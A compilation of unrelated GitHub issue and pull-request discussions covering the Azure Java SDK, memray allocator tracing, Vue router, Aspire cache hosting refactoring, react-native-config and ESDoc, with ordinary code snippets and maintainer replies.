General feedback of the SDK

Hi All,
I've been using the SDK version 0.6.0 for a couple of weeks now and found some weird design decisions which I've decided to share. In general, I am happy with the SDK, and the way functionalities are separated in several .jar files. But there are several things that are really annoying:
-> Here's the code example of what a connection configuration would look like:
ManagementConfiguration.configure(new URI(uri), subscriptionId, keyStoreLocation, keyStorePassword, KeyStoreType.jks);
If I am a system administrator, providing some keystore location would be a great idea. But as a developer, who holds his configuration (certificate) either in DB or in some other resource in the network, I need to create a local file every time I need to establish a  connection. This is simply not acceptable in a distributed environment and provides overhead instead of simplicity.
-> If I want to list all available locations, by using the ManagementClient, the java code that I need to write is
managementClient.getLocationsOperations().list().
What I find extremely odd is that I need to handle IOException, ParserConfigurationException and SAXException. Why do I need to handle all of those? Even if I put a retry logic, I'll end up with the same exception - for instance SAXException. Even throwing an IOException here is questionable, because if the SDK is being used as part of a larger system (this is my case), there would be a more generic way to deal with IO errors. IMO throwing a RuntimeException is sufficient.
-> Here's the code for retrieving all affinity groups:
managementClient.getAffinityGroupsOperations().list().getAffinityGroups()
which returns a list of AffinityGroup objects. However, if I want to get a single group by name, the code would look like this
managementClient.getAffinityGroupsOperations().get({someId})
and it will NOT return a single AffinityGroup object, but rather some other object (response) which holds the same information as the AffinityGroup, but is totally a different class. Can you imagine the overhead if some dev wants to perform some data structure operations by using for example a Comparator?
-> I could not find a way to setup a proxy. Using system properties is not the right way to go, because if a dev (me for instance :) ) wants to have a couple of connections in the same process with different proxy servers (one for each subscription), I will not be able to do it.
Once again - I find the azure SDK a good library  and hope to see it evolve in the future.
Regards,
Vladimir

@dimitrovvlado Thanks for the feedback, we will look at your suggestions in detail

It seems, that the only way to setup a proxy to the http client is through system properties. On the other hand, the client implementations (e.g. WebSiteManagementClientImpl) take HttpClientBuilder as an argument. Is there a recommended way to set the proxy settings to that builder?
I tried injecting some settings through reflection, but this seems to break the library. In this case, is there a recommended approach on manually instantiating the WebSiteManagementClientImpl?

@dimitrovvlado
Hi Vladimir,
I'm cleaning up some of the old issues and I came across. In today's library it's easy to set up proxy through Azure.configure().withProxy(new java.net.Proxy(...)). Please feel free to take a look.
With that being said, we are only offering ARM resources, storage, compute, network, key vault, redis cache with the upcoming release end of this month. Web app service is scheduled to be released by end of the year.
Also, we are throwing unchecked exceptions for all operations. IOExceptions are wrapped in RuntimeException, and CloudExeption is unchecked now.
Please feel free to try it out in the master branch.
Azure Service Management, a.k.a. the 0.9.x version of the Azure SDK for Java, is in maintenance mode. I'm closing this issue as we won't address these issues in 0.9 branch. Please reopen if there's a blocking issue for you in 0.9 or you have anything you would like to add for master branch.
Thanks!
Jianghao


Allow tracing the Python allocators

The Python allocators don't generally generate allocation events to the
system allocator. This is how Python normally runs and is directly
responsible of keeping it fast and this translates to profiling as well.
Sometimes, users may still be interested on the requests that the
interpreter does to the Python allocators and although this generates a
lot more data and makes profiling slower, it may help in some
situations. This acts also as an alternative way to run with
PYTHONMALLOC=malloc but without collating the data with the system
allocator.

This fails catastrophically when combined with --follow-fork. Given:
$ cat multiprocessing_test.py
import mmap
import multiprocessing

def worker(n):
    print(n, mmap.mmap(-1, 1))

with multiprocessing.Pool(5) as pool:
    pool.map(worker, range(5))

trying to run:
memray run --trace-python-allocators --follow-fork multiprocessing_test.py

loops forever creating an infinite number of 4 KB files, thanks to the child processes failing to start properly in the child at-fork handler.

That seems to be easily fixed by having registerPymallocHooks() check whether the hooks are already registered, in order to avoid mistaking our own hooks for the original allocators.


Document how to customize the behavior of our abstraction to meet my needs

What are "your needs", John? ;-)


Future Seurat Objects: Add Sample/Patient Group Metadata

For subset menus, the current groups for patients (D0/D30, Dx/Rl, Normal Bone Marrow) are hard-coded into the app, with patients manually assigned. When adding different Seurat objects in the future, the process of defining patient/sample groups could be automated if there were a metadata field giving the name of the group as we would desire it to appear in the dropdown menus, making it easier for the app to generalize to new datasets.

The config app allows the user to choose "groups" of values in a metadata varaiable, and to choose which variables to include in the app.


Adding support for annotating jar files with the annotations inferred from the analysis in JarInfer.

This diff adds support for updating class / jar files with the inferred method annotations.

Thanks for the detailed comments. Addressed them. PTAL.

Summary of changes:

Added support to annotate jar files with the annotations inferred by the analysis in JarInfer.
Added a flag in JarInfer CLI to enable annotating jar files.
Tested annotated jar files by checking for expected annotations.
Added the expected annotations in the sources used for tests.

Can you please add a more descriptive title and a quick summary of the top changes maybe to now we changed jarinfer

Updated the title and added a summary.


Manage Database page crashes frontend

When going to the Admin manage database page, the frontend crashes with the error:
<E> 8/16/2021, 2:27:30 PM: AdminConfigTab::handleAdminConfig(..) - delete page ERROR: TypeError: Cannot set property 'innerHTML' of null

This was already fixed downstream here: https://github.com/ubccpsc310/classy/pull/54

Looks like it was fixed so marking as resolved


'eps' is undefined in the function axis_angle_to_quaternion() in pose.py

Hi @eigenvivek,
I found a bug in pose.py.  In the function axis_angle_to_quaternion, 'eps' is undefined (line 640). I guess it should be fixed by adding a statement 'eps = 1e-6' before (maybe another value like 1e-4).
Best wishes,
Yongze

Hi @YongzeYang you're right thanks for the catch!


onlyRemoveTypeImports:true - cannot resolve type modules when doing that

The Readme suggest to use 'onlyRemoveTypeImports: true,' when using babelLoader.
Error I get from doing that:
Module not found: Error: Can't resolve 'aws-lambda' in ...
What can I do to avoid this?
My webpack.config.js
module.exports = {
  entry: slsw.lib.entries,
  mode: 'development',
  target: 'node',
  module: {
    rules: [
      {
        test: /\.js$/,
        exclude: /node_modules/,
        use: [
          {
            loader: 'babel-loader',
            options: {
              presets: ['@babel/preset-env']
            }
          }
        ]
      },
      {
        test: /\.ts$/,
        exclude: /node_modules/,
        use: [
          {
            loader: 'babel-loader',
            options: {
              presets: [
                '@babel/preset-env',
                ['@babel/preset-typescript', { onlyRemoveTypeImports: true }]
              ]
            }
          }
        ]
      }
    ]
  },
  plugins: [
    new ForkTsCheckerWebpackPlugin({
      eslint: {
        files: ['./functions/**/*.{ts,tsx,js,jsx}']
      }
    })
  ]
};

I've found that converting the imports that can't be resolved into type-only imports (assuming you're using Typescript >= 3.8) resolves this error. Not sure if this is masking some underlying issue though.

Could you try a new version from the alpha channel? It's no longer required to use this option from TypeScript :)

Closing as in version 6 is no longer needed to use this option :)


Warn against named parent routes

From https://github.com/vuejs/router/pull/1339
A route with a name and a child with an empty path without a name should warn when adding the route (inside of the matcher)
const routes = [
  // this route should warn
  {
    name: 'UserRoute',
    path: '/user/:id',
    component: User,
    children: [
      { path: '', component: UserHome },
    ],
  },

// this shouldn't
  {
    name: 'UserRoute',
    path: '/user/:id',
    component: User,
    children: [
      { path: '', name: 'UserHome` component: UserHome },
    ],
  },
]

sounds like the problem will resolved by edit the matcher, may i try?

@Eating-Eating yes


File URLs are off

Looks like file gateway URLs are off (urls for files posted):

now using: http://localhost:5001/api/v0/cat?arg=QmZQhYyhYqwiBsyybyFP9VG1nFh6CMB8o3r5U8EMRagYT9

API and read-write (protected) port

want: http://localhost:8080/ipfs/QmZQhYyhYqwiBsyybyFP9VG1nFh6CMB8o3r5U8EMRagYT9

Gateway and read-only port

This is fixed in master now.


Doesn't work on ProcessWire 3

I have installed a fresh PW 3.0.8 with ImageExtra.
But the uploading process of an image doesn't get finished.
It shows a loading value of 100%, but the activity indicator still rotating.
Also saving the page doesn't show the image after that.

Hi,
ImageExtra is not yet ready for PW 3.X, I had no time to test it so far. Thanks for the report, I'll test it soon.

Fixed in develop branch.


[2024.4] layers/meta-balena: Update to v5.1.62

Update meta-balena from 5.1.58 to 5.1.62
Changelog-entry: Update meta-balena from v5.1.58 to v5.1.62

lgtm

@resin-jenkins retest this please

@resin-jenkins retest this please

@resin-jenkins retest this please

@resin-jenkins retest this please

all who see - please do not retest this, I'm using the jenkins UI to avoid having to re test all devices


Report: The top N populated countries in a region where N is provided by the user

Is it N per region, or total count?


Facilitate updating of nix environment within container

To avoid rebuilds of images (and thus recreation of containers), it might make more sense to clone/copy/mount the entire repo into the container image, so that it easy for the developer to update his environment.

This is easy to do in a number of ways, e.g.:
# link to mounted volume repo:
ln -s workspace/docker-nix-intellij/scala-default.nix default.nix
nix-env -f ~/default.nix -i # update environment


Should routes and functions tabs preserve searches on hard refresh?

Expected Behavior
A search string in routes or functions tabs should be preserved on hard refresh
Reason why we are not retaining at the moment (per David):
Next time user navigates to that page, there may not be any metric for that route and the page will be blank, confusing the user (especially if they don't see that they have something in the search bar)
David also said that we could capture the search in the URL as we do with other screens and make a special handler for when nothing is shown, or we could store both, selected route and search string, and when the page loads, filter the results for the search string and expand the correct route.
Side note: should searches and filter behavior on Instance list (where we list out microserver instances) page also be preserved?
Actual Behavior
Not preserved
Steps to Reproduce the Problem

Go to routes page and input a search for a route
Refresh the page

Specifications

Version: 0.9.1
Platform: Fabric

I'm going to change this from question to enhancement because I think that the idea is sound. However, I'm also going to flag it as blocked because this is heavily impacted by our ongoing efforts to reduce the number of table variants we're using throughout the app. I'd like for us to focus on reducing redundancy and paying down tech debt before implementing this.

To directly address the question, I don't see any architectural reasons to not make this stuff router-driven.


Adding ExternalStorageDirectoryPath in FileSystem?

Hi Matheus,
first of all thank you for really nice library.
Could you please add absolute external Storage directory path as one more constant in FileSystem module?
If you are OK, I can create PR :-)
Best regards,
Abhijeet

Hi, thanks for this Issue.
Unfortunately, the getExternalStorageDirectory() function is deprecated since the API level 29.
From the documentation:

This method was deprecated in API level 29.
To improve user privacy, direct access to shared/external storage devices is deprecated. When an
app targets Build.VERSION_CODES.Q, the path returned from this method is no longer directly
accessible to apps. Apps can continue to access content stored on shared/external storage by
migrating to alternatives such as Context#getExternalFilesDir(String), MediaStore, or
Intent#ACTION_OPEN_DOCUMENT.

I'm trying to keep this lib always up to date with the Android system.
If you want, i can add the ExternalFilesDir. This dir is stored in the external storage, can be accessed by the App, but it's not visible to the user.
Note: Like you can see in this commit even the Flutter migrated this path to the new one to avoid deprecated code.

makes sense, it would be good if you add ExternalFilesDir.
Thank you!

Ok, i just released the 1.0.1 version of the lib that includes the FileSystem.ExternalFilesDir.

Thank you @MatheusAlvesA very much!


Common code for caching systems (Draft)

Common code for caching systems
Redis
Garnet
Valkey
And others
In connection with this task #4519 Add redis commander
Idea based on this post #4519 message
Microsoft Reviewers: Open in CodeFlow

@davidfowl
@mitchdenny
@eerhardt
Hi, could you please rate this?
Any ideas or suggestions? Adjustments?
Is it worth continuing?
After this task, I also want to add Redis commander

Is this common to caching systems or is it common to systems supporting Redis' protocol?

Is this common to caching systems or is it common to systems supporting Redis' protocol?

Currently systems supporting the Redis protocol

@Zombach I think that this is too big of a change (there are breaking changes here). We'd probably want to spin up an API proposal around this so we could get into the motivations and shape of API changes here before we get too much futher.
Obviously across things like Redis, Garnet, and Valkey there is a common protocol (currently) but I am not 100% sure that means that we should bind them together this way.

We'd probably want to spin up an API proposal around this so we could get into the motivations and shape of API changes here before we get too much futher.

+1

@Zombach I think that this is too big of a change (there are breaking changes here). We'd probably want to spin up an API proposal around this so we could get into the motivations and shape of API changes here before we get too much futher.
Obviously across things like Redis, Garnet, and Valkey there is a common protocol (currently) but I am not 100% sure that means that we should bind them together this way.

I understand that the change is large and complex, but I made it big on purpose to test whether all the cases would pass the test. Or there will be some problems. But as I was convinced, everything works, and the tests passed.
As for the API, let's first focus on the option without RedisCommander.
I’ll write using Garnet as an example, it’s clear that for the Redis protocol everything is identical
At the moment, we are using three classes.
///This class contains constants
internal static class GarnetContainerImageTags
{
    public const string Registry = "ghcr.io";
    public const string Image = "microsoft/garnet";
    public const string Tag = "1.0";
}

I believe that this class should be created for each protocol, as it is now.
public class GarnetResource(string name) : ContainerResource(name), IResourceWithConnectionString
{
    internal const string PrimaryEndpointName = "tcp";

    private EndpointReference? _primaryEndpoint;

    ///
    /// Gets the primary endpoint for the Garnet server.
    ///
    public EndpointReference PrimaryEndpoint => _primaryEndpoint ??= new(this, PrimaryEndpointName);

    ///
    /// Gets the connection string expression for the Garnet server.
    ///
    public ReferenceExpression ConnectionStringExpression =>
        ReferenceExpression.Create(
            $"{PrimaryEndpoint.Property(EndpointProperty.Host)}:{PrimaryEndpoint.Property(EndpointProperty.Port)}");
}

This class should be made abstract and raised to a level, and inherited from it.
In the end you will be left with something like
///
/// A resource that represents a Garnet resource independent of the hosting model.
///
/// <param name="name">The name of the resource.</param>
public class GarnetResource(string name) : CacheResource(name);

Since RedisResource additionally uses the method.
RedisResource will look like this.
///
/// A resource that represents a Redis resource independent of the hosting model.
///
/// <param name="name">The name of the resource.</param>
public class RedisResource(string name) : CacheResource(name)
{
    ///
    /// Gets the connection string for the Redis server.
    ///
    /// <param name="cancellationToken"> A <see cref="CancellationToken"/> to observe while waiting for the task to complete.</param>
    /// <returns>A connection string for the redis server in the form "host:port".</returns>
    public ValueTask<string?> GetConnectionStringAsync(CancellationToken cancellationToken = default)
    {
        if (this.TryGetLastAnnotation<ConnectionStringRedirectAnnotation>(out var connectionStringAnnotation))
        {
            return connectionStringAnnotation.Resource.GetConnectionStringAsync(cancellationToken);
        }

        var referenceExpression = ReferenceExpression.Create(
            $"{PrimaryEndpoint.Property(EndpointProperty.Host)}:{PrimaryEndpoint.Property(EndpointProperty.Port)}");

        return referenceExpression.GetValueAsync(cancellationToken);
    }
}

Regarding GarnetBuilderExtensions
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.

using System.Globalization;
using Aspire.Hosting.ApplicationModel;
using Aspire.Hosting.Garnet;
using Aspire.Hosting.Utils;

namespace Aspire.Hosting;

///
/// Provides extension methods for adding Garnet resources to the application model.
///
public static class GarnetBuilderExtensions
{
    private const string GarnetContainerDataDirectory = "/data";

    ///
    /// Adds a Garnet container to the application model.
    ///
    /// <example>
    /// Use in application host
    ///
    /// var builder = DistributedApplication.CreateBuilder(args);
    ///
    /// var garnet = builder.AddGarnet("garnet");
    /// var api = builder.AddProject<Projects.Api>("api)
    ///                  .WithReference(garnet);
    ///
    /// builder.Build().Run();
    ///
    /// </example>
    /// <example>
    /// Use in Api with Aspire.StackExchange.Redis
    ///
    /// var builder = WebApplication.CreateBuilder(args);
    /// builder.AddRedisClient("garnet");
    ///
    /// var multiplexer = builder.Services.BuildServiceProvider()
    ///                                   .GetRequiredService<IConnectionMultiplexer>();
    ///
    /// var db = multiplexer.GetDatabase();
    /// db.HashSet("key", [new HashEntry("hash", "value")]);
    /// var value = db.HashGet("key", "hash");
    ///
    /// </example>
    /// <param name="builder">The <see cref="IDistributedApplicationBuilder"/>.</param>
    /// <param name="name">The name of the resource. This name will be used as the connection string name when referenced in a dependency.</param>
    /// <param name="port">The host port to bind the underlying container to.</param>
    /// <returns>A reference to the <see cref="IResourceBuilder{T}"/>.</returns>
    public static IResourceBuilder<GarnetResource> AddGarnet(this IDistributedApplicationBuilder builder, string name,
        int? port = null)
    {
        var garnet = new GarnetResource(name);
        return builder.AddResource(garnet)
            .WithEndpoint(port: port, targetPort: 6379, name: GarnetResource.PrimaryEndpointName)
            .WithImage(GarnetContainerImageTags.Image, GarnetContainerImageTags.Tag)
            .WithImageRegistry(GarnetContainerImageTags.Registry);
    }

    ///
    /// Adds a named volume for the data folder to a Garnet container resource and enables Garnet persistence.
    ///
    /// <example>
    /// Use <see cref="WithPersistence(IResourceBuilder{GarnetResource}, TimeSpan?, long)"/> to adjust Garnet persistence configuration, e.g.:
    ///
    /// var cache = builder.AddGarnet("cache")
    ///                    .WithDataVolume()
    ///                    .WithPersistence(TimeSpan.FromSeconds(10), 5);
    ///
    /// </example>
    /// <param name="builder">The resource builder.</param>
    /// <param name="name">The name of the volume. Defaults to an auto-generated name based on the application and resource names.</param>
    /// <param name="isReadOnly">
    /// A flag that indicates if this is a read-only volume. Setting this to <c>true</c> will disable Garnet persistence.

    /// Defaults to <c>false</c>.
    /// </param>
    /// <returns>The <see cref="IResourceBuilder{T}"/>.</returns>
    public static IResourceBuilder<GarnetResource> WithDataVolume(this IResourceBuilder<GarnetResource> builder,
        string? name = null, bool isReadOnly = false)
    {
        builder.WithVolume(name ?? VolumeNameGenerator.CreateVolumeName(builder, "data"), GarnetContainerDataDirectory,
            isReadOnly);
        if (!isReadOnly)
        {
            builder.WithPersistence();
        }

        return builder;
    }

    ///
    /// Adds a bind mount for the data folder to a Garnet container resource and enables Garnet persistence.
    ///
    /// <example>
    /// Use <see cref="WithPersistence(IResourceBuilder{GarnetResource}, TimeSpan?, long)"/> to adjust Garnet persistence configuration, e.g.:
    ///
    /// var garnet = builder.AddGarnet("garnet")
    ///                    .WithDataBindMount()
    ///                    .WithPersistence(TimeSpan.FromSeconds(10), 5);
    ///
    /// </example>
    /// <param name="builder">The resource builder.</param>
    /// <param name="source">The source directory on the host to mount into the container.</param>
    /// <param name="isReadOnly">
    /// A flag that indicates if this is a read-only mount. Setting this to <c>true</c> will disable Garnet persistence.

    /// Defaults to <c>false</c>.
    /// </param>
    /// <returns>The <see cref="IResourceBuilder{T}"/>.</returns>
    public static IResourceBuilder<GarnetResource> WithDataBindMount(this IResourceBuilder<GarnetResource> builder,
        string source, bool isReadOnly = false)
    {
        builder.WithBindMount(source, GarnetContainerDataDirectory, isReadOnly);
        if (!isReadOnly)
        {
            builder.WithPersistence();
        }

        return builder;
    }

    ///
    /// Configures a Garnet container resource for persistence.
    ///
    /// <example>
    /// Use with <see cref="WithDataBindMount(IResourceBuilder{GarnetResource}, string, bool)"/>
    /// or <see cref="WithDataVolume(IResourceBuilder{GarnetResource}, string?, bool)"/> to persist Garnet data across sessions with custom persistence configuration, e.g.:
    ///
    /// var cache = builder.AddGarnet("cache")
    ///                    .WithDataVolume()
    ///                    .WithPersistence(TimeSpan.FromSeconds(10), 5);
    ///
    /// </example>
    /// <param name="builder">The resource builder.</param>
    /// <param name="interval">The interval between snapshot exports. Defaults to 60 seconds.</param>
    /// <param name="keysChangedThreshold">The number of key change operations required to trigger a snapshot at the interval. Defaults to 1.</param>
    /// <returns>The <see cref="IResourceBuilder{T}"/>.</returns>
    public static IResourceBuilder<GarnetResource> WithPersistence(this IResourceBuilder<GarnetResource> builder,
        TimeSpan? interval = null, long keysChangedThreshold = 1)
        => builder.WithAnnotation(new CommandLineArgsCallbackAnnotation(context =>
        {
            context.Args.Add("--save");
            context.Args.Add((interval ?? TimeSpan.FromSeconds(60)).TotalSeconds.ToString(CultureInfo.InvariantCulture));
            context.Args.Add(keysChangedThreshold.ToString(CultureInfo.InvariantCulture));
            return Task.CompletedTask;
        }), ResourceAnnotationMutationBehavior.Replace);
}

In this case, we also raise all methods to the main one, but modify them a little.
AddGarnet exceptions, which we change to AddCache
We don’t really change the internals of the methods themselves.
public static IResourceBuilder<T> AddCache<T>(this IDistributedApplicationBuilder builder,
    T cacheResource,
    string registry,
    string image,
    string tag,
    int targetPort,
    int? port = null)
    where T : CacheResource
    => builder.AddResource(cacheResource)
        .WithEndpoint(port: port, targetPort: targetPort, name: CacheResource.PrimaryEndpointName)
        .WithImage(image, tag)
        .WithImageRegistry(registry);

public static IResourceBuilder<T> WithDataVolume<T>(this IResourceBuilder<T> builder,
    string target,
    string? name = null,
    bool isReadOnly = false)
where T : CacheResource
{
    builder.WithVolume(name ?? VolumeNameGenerator.CreateVolumeName(builder, "data"), target,
        isReadOnly);
    if (!isReadOnly)
    {
        builder.WithPersistence();
    }

    return builder;
}

public static IResourceBuilder<T> WithDataBindMount<T>(this IResourceBuilder<T> builder,
    string source,
    string target,
    bool isReadOnly = false)
where T : CacheResource
{
    builder.WithBindMount(source, target, isReadOnly);
    if (!isReadOnly)
    {
        builder.WithPersistence();
    }

    return builder;
}

public static IResourceBuilder<T> WithPersistence<T>(this IResourceBuilder<T> builder,
    TimeSpan? interval = null,
    long keysChangedThreshold = 1)
where T : CacheResource
    => builder.WithAnnotation(new CommandLineArgsCallbackAnnotation(context =>
    {
        context.Args.Add("--save");
        context.Args.Add((interval ?? TimeSpan.FromSeconds(60)).TotalSeconds.ToString(CultureInfo.InvariantCulture));
        context.Args.Add(keysChangedThreshold.ToString(CultureInfo.InvariantCulture));
        return Task.CompletedTask;
    }), ResourceAnnotationMutationBehavior.Replace);

And finally, in each Redis protocol cache. we can use this kind of class.
public static IResourceBuilder<GarnetResource> AddGarnet(this IDistributedApplicationBuilder builder,
    string name,
    int? port = null)
{
    var garnetResource = new GarnetResource(name);
    return builder.AddCache(garnetResource,
        GarnetContainerImageTags.Registry,
        GarnetContainerImageTags.Image,
        GarnetContainerImageTags.Tag,
        6379,
        port);
}

public static IResourceBuilder<GarnetResource> WithDataVolume(this IResourceBuilder<GarnetResource> builder,
    string? name = null,
    bool isReadOnly = false)
    => builder.WithDataVolume(GarnetContainerDataDirectory, name, isReadOnly);

public static IResourceBuilder<GarnetResource> WithDataBindMount(this IResourceBuilder<GarnetResource> builder,
    string source,
    bool isReadOnly = false)
    => builder.WithDataBindMount(source, GarnetContainerDataDirectory, isReadOnly);

public static IResourceBuilder<GarnetResource> WithPersistence(this IResourceBuilder<GarnetResource> builder,
    TimeSpan? interval = null,
    long keysChangedThreshold = 1)
    => CacheBuilderExtensions.WithPersistence(builder, interval, keysChangedThreshold);

I see it all roughly like this.
If I'm wrong, please correct me.
If you need any more examples, please let me know as well.
If you need examples specifically about the API, then please provide at least some example so that I can understand in what form to provide them to you.
Thank you for your time!
I hope this message will help in some way.

In https://github.com/dotnet/aspire/pull/4519#issuecomment-2186830680, @davidfowl says:

We can share source, we do this today for other things in the apphost (the volume generator), seems like a cheaper way to share this as well.

What he meant is that for common, internal code we can compile the same code into multiple libraries, so we don't need the duplication. For example, https://github.com/dotnet/aspire/blob/main/src/Shared/VolumeNameGenerator.cs is compiled into a few different libraries:
https://github.com/dotnet/aspire/blob/9a7f50c5f5a86d9d995f3cc94dc9b984e6ea4617/src/Aspire.Hosting.Redis/Aspire.Hosting.Redis.csproj#L16
https://github.com/dotnet/aspire/blob/9a7f50c5f5a86d9d995f3cc94dc9b984e6ea4617/src/Aspire.Hosting.RabbitMQ/Aspire.Hosting.RabbitMQ.csproj#L15
Sharing internal code doesn't need any change to public API. We can leave the public API as it is today, but underneath share code across all 3 libraries.

Cc @mgravell

Coming in a little cold, but to me the key factor would be how much of the relevant code here is infrastructure/hosting, vs how much is runtime/monitoring. The latter: makes a lot of sense to share (and if the ship hasn't already sailed, I might suggest leaning on Resp/RESP nomenclature rather than Redis nomenclature). But @mitchdenny hints that a significant portion is the hosting, which will absolutely be bespoke per provider (although Redis and ValKey obviously have a lot of overlap, Garnet and all of the other red-ish backends will be much more varied).

In #4519 (comment), @davidfowl says:

We can share source, we do this today for other things in the apphost (the volume generator), seems like a cheaper way to share this as well.

What he meant is that for common, internal code we can compile the same code into multiple libraries, so we don't need the duplication. For example, https://github.com/dotnet/aspire/blob/main/src/Shared/VolumeNameGenerator.cs is compiled into a few different libraries:
https://github.com/dotnet/aspire/blob/9a7f50c5f5a86d9d995f3cc94dc9b984e6ea4617/src/Aspire.Hosting.Redis/Aspire.Hosting.Redis.csproj#L16
https://github.com/dotnet/aspire/blob/9a7f50c5f5a86d9d995f3cc94dc9b984e6ea4617/src/Aspire.Hosting.RabbitMQ/Aspire.Hosting.RabbitMQ.csproj#L15
Sharing internal code doesn't need any change to public API. We can leave the public API as it is today, but underneath share code across all 3 libraries.

Now I got it right. Thanks for the explanation.

@Zombach thanks for the detailed response.
Even though Garnet, Redis, and Valkey (and some other spinoffs from Redis) all implement the same protocol (not 100% but close enough for this conversation) the way that the containers are configured differ. My guess is that container configuration is the thing that is most likely to diverge when it comes to these Redis-like cache APIs.
Given this I'm not sure it makes sense to try and converge the hosting packages in the way that you have here because once bonded together it can become more difficult to unpick down the track. A small amount of duplicated code now provides some options when the (in my opinion) inevitable happens.

You are absolutely right and I completely agree with you.
After all, not every attempt has to be successful!
I'll still try to combine the common part, but as said @davidfowl and @eerhardt. If it doesn’t work out, then I’ll just close this PR.
Thanks again everyone!

Coming in a little cold, but to me the key factor would be how much of the relevant code here is infrastructure/hosting, vs how much is runtime/monitoring. The latter: makes a lot of sense to share (and if the ship hasn't already sailed, I might suggest leaning on Resp/RESP nomenclature rather than Redis nomenclature). But @mitchdenny hints that a significant portion is the hosting, which will absolutely be bespoke per provider (although Redis and ValKey obviously have a lot of overlap, Garnet and all of the other red-ish backends will be much more varied).

Yes, thanks for the comment, in general I understand it. But I don’t yet have enough experience to see this in advance and not take unnecessary actions. From my side. I can only say one thing. Thank you @mitchdenny and @eerhardt for bearing with me and sharing your experiences.

No ... thank-you for contributing to the Aspire code base!

Thanks for the contribution, @Zombach.
I'm going to close this PR now as it is stale, and I don't think we want to make this change.


Using .env variables in android/MainApplication.java file?

Hi,
Is there any detailed way of using the .env file and building it into either the BuildConfig.java or using the files directly in a different way? Any help is appreciated :)

Used this instead: https://github.com/luggit/react-native-config

Used this instead: https://github.com/luggit/react-native-config

Thanks! This library is perfect for that! Before I was using the react-native-dotenv to import my .env file inside my js code, but, now I need that my MainApplication.java code import the .env file too and I Can't do this with react-native-dotenv lib.
My solution was to use both libs, react-native-dotenv to my JS code, and react-native-config to java code (native).
For any who would find the solution is easy:

First install the react-native-library:

yarn add react-native-config
react-native link react-native-config

PRINCIPAL STEP: Add inside your MainApplication.java file this code where you need to use the environment var:

// example, here I added the code inside onCreate() method of my MainApplication class
public void onCreate() {
    String VAR_WITH_ANY_NAME = BuildConfig.ANY_ENV_VAR_AS_YOU_WANT;
   // ... any code ...
  }

Now, rebuild your project (I like to do it in different terminals, one for the bundle and another for build)

Init your js bundle

yarn && yarn start --reset-cache

recompile your native project

yarn run android

I recommend to read react-native-config README.md with most updated doc:
https://github.com/luggit/react-native-config#native-usage


Force esdoc to process non ES6 code

I understand that esdoc is designed for ES6. And I code in ES6 as much as I can, but Node does not implement import.
I've read #168 but still don't know how to force esdoc to document something like this:
module.exports =
{
  /**
   * Main function of the module blablabla
   */
  doStuff: function()
  {
    // do stuff
  }
};

I don't think a plugin-feature may help here. Isn't there a "tag" or something that tells esdoc "please process this"?

Have you tried a solution based on string replacement as suggested here?
Also beware that ESDoc will not be able to find a name for the object you are exporting and therefore will not generate documentation. You must store the object in a variable for ESDoc to pick up its name.

Have you tried a solution based on string replacement as suggested here?

Yes. It works just in some specific cases.

Also beware that ESDoc will not be able to find a name for the object you are exporting and therefore will not generate documentation. You must store the object in a variable for ESDoc to pick up its name.

Clear. Thanks.

I understand that esdoc is designed for ES6. And I code in ES6 as much as I can, but Node does not implement import.

Just a quick note as I've moved all my NPM modules to ES6 and use ESDoc to document them. You do have to use Babel before publishing / distribution. I've created an all inclusive module that might help for documenting, testing, linting, transpiling, including prepublish detection / script runner for ES6 NPM modules here: typhonjs-npm-build-test.

You do have to use Babel before publishing / distribution

Why should I use Babel in my Node application if Node >= 4.0.0 already support lot of ES6? (yes, import is not supported).

yes, import is not supported

That's a good start for why Babel.. ;)  It all depends. If you plan to publish on NPM then using Babel allows anyone consuming the module with any Node version. If you don't plan to publish or this app is for controlled / private usage where you can control the Node version then when Node has full ES6 support then certainly go for that.
I should also note that if you happen to use Gulp then having Babel available allows all your Gulp scripts to be created with ES6 as well by adding babel to the name of the gulp file: gulpfile.babel.js. Also with Babel installed you can use babel-node to execute NPM scripts and use ES6 for all your tests as well.
The module I posted does contain several other resources for a good test / build environment. The prepublish script runner support is handy as well.

In my case, my server-side Node app requires Node >= 4.0.0 (which is the LTS/stable Node version and already supports a good subset of ES6), so I don't need Babel at all to run my server. Of course I don't use import but require.
This is, I don't need Babel for my Node app to run so I won't refactor the whole code just to make it 100% ES6 and make esdoc happy, nor I'll require node-babel to run my app.

Yeah.. You don't want to use babel-node for running an app in production. It's fine for testing. IE you'd simply run a single NPM script to transpile then run. Just a FYI as it's easy and this would make your app run on any version of Node too. Babel is straightforward and ESDoc is really great. I'm releasing some really awesome ESDoc plugins improving the navigation on the left and adding interactive SVG / D3 source code and package dependency visualization graphs for NPM and JSPM managed code soon that extend ESDoc even further.
I'm doing a lot of AST modification for the above graph generation. I'll take a look at what things look like at the AST level when require is mixed with ES6 modules. It should get through the parser (Espree / ESTree) and maybe there could be a mod for ESDoc in the future, but it's a corner case for sure. I just checked with https://astexplorer.net/ and it looks like AST with mixed require / ES6 modules can be parsed. So it would be possible to create a plugin for ESDoc that could conceivably create the tags for ESDoc to understand. It's a bit of work though.. ;P
I do use require in a very few rare occasions for a couple of NPM modules where ES6 import hoisting is non-desirable.

Babel is only needed when you write code that your target's environment cannot execute. As this is not the case, Babel should not even be an option here.
I have several private packages that use node 5.5, but ESDoc is breaking on module.exports = Something, which is just absurd. The plugin suggested above does not work, for it crashes before it can execute the plugin.
ESDoc is a package available on NPM, but it does not support Node. That is, to be blunt, absurd.

Basically ESDoc is not valid for Node applications regardless they are written in ES6 (plus require(), of course).

@StephanBijzitter

module.exports = Something

@ibc

Basically ESDoc is not valid for Node applications regardless they are written in ES6 (plus require(), of course).

Because both of those examples are CJS and not pure ES6! Mixing CJS whether that is module.exports or require will not work with ESDoc which is for pure ES6 documentation generation only.

ESDoc is a package available on NPM, but it does not support Node. That is, to be blunt, absurd.

This makes no sense as NPM doesn't dictate that all modules must work with all versions of Node. Simply using Babel on ES6 NPM modules before publishing makes things work on any version of Node.
I am not proposing anything off the beaten path when saying Babel is perfectly fine for publishing ES6 NPM modules (don't believe me read someone else's article):
https://booker.codes/how-to-build-and-publish-es6-npm-modules-today-with-babel/
The typhonjs-npm-build-test module I listed above contains all the dependencies and several NPM scripts that handle all the corner cases to easily publish ES6 NPM modules with documentation generated from ESDoc.
Practically all my NPM modules (~12 of 16) are written in pure ES6 using typhonjs-npm-build-test / Babel for transpiling via a script runner automatically which first runs ESLint, then tests, then Babel, before npm publish is run with a fix for the npm prepublish bug (https://github.com/npm/npm/issues/10074). It indeed works rather well.
